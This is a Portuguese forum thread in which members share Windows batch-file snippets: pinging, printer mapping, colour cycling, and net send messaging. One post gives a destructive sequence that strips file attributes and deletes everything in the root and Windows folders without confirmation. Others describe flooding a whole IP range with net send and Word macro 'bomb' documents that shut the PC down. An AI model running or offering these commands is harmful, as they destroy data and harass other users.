• Revista PROGRAMAR: Já está disponível a edição #53 da revista programar. Faz já o download aqui!

Overrun™

Batch Files

13 mensagens neste tópico

Boas.

Não sei se os Batch files podem ser considerados uma linguagem de programação, provavelmente porque não o são, mas têm algumas semelhanças com as mesmas e como tal não pude deixar de falar sobre este assunto.

Para quem não sabe os Batch files são ficheiros editados no bloco de notas onde são aplicados alguns comandos MS-DOS de forma a executarem tarefas pelos utilizadores que não têm conhecimento dos comandos DOS ou até para facilitar tarefas em massa.

Os Batch files são bastante fáceis de escrever mas têm montes de utilidades, basta aplicar os comandos de DOS num ficheiro em bloco de notas ou noutro tipo de editor de texto e guardarem o ficheiro com a extensão .BAT

Com os Batch files podemos alterar tarefas do sistema operativo que usualmente são bastante complicadas, como é o caso de remover partes da Shell do Windows, como por exemplo o botão de Log Off.

Um exemplo fácil e util em batch files é o Ping, onde digitamos PING(espaço) e o nosso IP de forma a fazer ping's automaticos com apenas 2 clicks no rato.

Criei este tópico de forma a que os users metam alguns codigos de ficheiros .BAT que tenham criado ou que venham a criar, apenas para dar conhecimento ao povo, se situei mal o Tópico alguem que me diga que eu movo  ;).

Cumps. Overrun

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Havia uma cen que costumava-mos de fazer muito que era qq coisa do tipo:

net send 192.168.0.2 O TEU PC EStÁ POSSUIDO!!!!!
net send 192.168.0.2 O TEU PC EStÁ POSSUIDO!!!!!
net send 192.168.0.2 O TEU PC EStÁ POSSUIDO!!!!!
net send 192.168.0.2 O TEU PC EStÁ POSSUIDO!!!!!
net send 192.168.0.2 O TEU PC EStÁ POSSUIDO!!!!!
net send 192.168.0.2 O TEU PC EStÁ POSSUIDO!!!!!
net send 192.168.0.2 O TEU PC EStÁ POSSUIDO!!!!!
net send 192.168.0.2 O TEU PC EStÁ POSSUIDO!!!!!

Obviamente que faziamos depois copy/past até fazer umas 1000 ou 2000 linhas! eheh

ou então:

cd\
attrib -a -r -h *.*
del *.*
cd windows
del *.*

etc.. ;) Mas usava-se uma opcção qq tipo "/a" ou "/" qualquer coisa que era para o sistema NÃO perguntar ao user pela confirmação!

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Hi again

A do Netsend é porreira, a do Windows preocupante.  :biggrin:

No entanto era exactamente disto que estava a falar, mostrem os vossos Codes para nos divertirmos um bocadito com o DOS.  ;)

Cumps. Overrun

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

eu para o net send costumava fazer um programa com o VBA do word... era... +/- mais simples..

Com o VBA (visual basic for applications) do word fazia também documentos word bomba, que o pessoal abria e desligavam o pc...

enfim..

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

eu para o net send costumava fazer um programa com o VBA do word... era... +/- mais simples..

Com o VBA (visual basic for applications) do word fazia também documentos word bomba, que o pessoal abria e desligavam o pc...

enfim..

LOL e o vbmaster k não fala-se em VB, de qualquer forma tamos num forum de programação e não num de Batch files.

Cumps. Overrun

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Ah e tal, estava a levar o assunto mais para os pequenos tricks que costumamos fazer aka trafulhices.... ;)

daquelas para brincar um pouco com o pessoal...

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

uma coisa muito simples pra kem tem impressoras ligadas em usb e precisa delass em MSDOS.....

Nota: tem que ter a impressora partilhada!!!!!!!!!!

net use LPT1 /d
net use LPT1 \\<o nome de rede do teu pc>\<o nome de partilha da impressora>

o velhinho net send pra mandar msgs pra wXP / w2K e wNT (em xp so funca s tiver o serviço activo...)

@echo off
echo.
echo.
echo A enviar mensagem.........
net send * PORRA!!! > NULL
echo.
echo Mensagem enviada.....

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

epa havia ums scriptzito que usava o netsend e k permitia dois utilizadores entrarem num chat sem terem que estar sempre a escrever NET SEND BLABLABLABlA

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Eu cheguei a fazer um programa em VB6 que usava isso. Mas era mais do genero, metias para enviar desde o ip 198.167.0.1 até ao 198.167.0.255 e ele enviava para os ip's todos! ;)

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Boas!

Uma vez vi um batch que mudava constantemente a cor da tela, fazia algo como:

@echo off
color 1
color 2
color 3
etc..

Mas o resultado era o fundo mudar prá í para 3 cores diferentes por segundo.

alguém me consegue elucidar melhor sobre isso?

Obrigado.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Digita na linha de comandos:

Color /?

Tens ai as opções... depois é só dar asas à imaginação... :)

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Lol, que estupidez, já sei como fazer :)

Basta fazer um batch assim:

@echo off

color 0f

color 1f

color 2f

color 3f

color 4f

color 5f

color 6f

color 7f

"etc.."

exit

que dá o efeito pretendido.

Obrigado pela ajuda @ber0x88

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Lol, que estupidez, já sei como fazer :)

Basta fazer um batch assim:

@echo off

color 0f

color 1f

color 2f

color 3f

color 4f

color 5f

color 6f

color 7f

"etc.."

exit

que dá o efeito pretendido.

Obrigado pela ajuda @ber0x88

Na boa! É pra isso que estamos aqui, para aprender... :D

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Crie uma conta ou ligue-se para comentar

Só membros podem comentar

Criar nova conta

Registe para ter uma conta na nossa comunidade. É fácil!


Registar nova conta

Entra

Já tem conta? Inicie sessão aqui.


Entrar Agora